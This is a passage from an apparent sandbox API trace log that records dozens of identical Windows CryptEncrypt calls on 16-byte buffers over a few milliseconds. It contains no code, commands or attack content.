pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.180] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.180] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.180] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.180] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.180] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.180] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.180] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.180] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.181] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.181] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.181] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.181] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.181] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.181] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.181] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.181] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.181] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.181] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.181] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.181] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.181] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.181] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.181] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.181] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.181] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.181] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.181] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.181] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.181] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.181] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.182] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.182] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.182] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.182] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.182] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.182] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.182] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.182] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.182] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.182] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.182] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.182] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.182] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.182] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.182] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.182] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.182] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.182] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.182] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.182] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.182] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.182] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.182] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.183] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.183] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.183] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.183] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.183] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.183] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.183] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.183] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.183] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.183] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.183] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.183] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.183] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.183] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.183] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.183] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.183] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.183] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.183] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.183] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.183] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.183] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.183] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.184] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.184] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.184] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.184] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.184] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.184] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.184] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.184] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.184] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.184] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.184] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.184] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.184] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.184] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.184] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.184] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.184] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.184] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.184] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.184] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.184] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.184] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.185] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.185] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.185] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.185] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.185] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.185] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.185] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.185] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.185] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.185] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, 